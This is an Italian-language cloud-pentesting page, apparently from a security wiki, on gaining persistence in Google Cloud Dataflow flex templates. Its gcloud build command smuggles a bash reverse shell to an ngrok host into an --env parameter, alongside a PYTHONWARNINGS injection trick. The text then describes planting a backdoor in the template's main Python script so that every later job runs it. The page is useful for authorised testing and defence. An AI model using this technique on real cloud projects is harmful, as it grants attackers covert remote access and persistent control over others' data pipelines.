GCP - Dataflow Persistence

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Dataflow

Persistenza invisibile nel container costruito

Seguendo il tutorial della documentazione puoi creare un nuovo template flessibile (ad es. python):

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Mentre viene costruito, otterrai una reverse shell (puoi abusare delle variabili d'ambiente come nell'esempio precedente o di altri parametri che impostano il file Docker per eseguire cose arbitrarie). In questo momento, all'interno della reverse shell, è possibile andare nella directory /template e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è getting_started.py). Imposta qui la tua backdoor in modo che ogni volta che il lavoro viene eseguito, verrà eseguita.

Quindi, la prossima volta che il lavoro viene eseguito, verrà eseguito il container compromesso costruito:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

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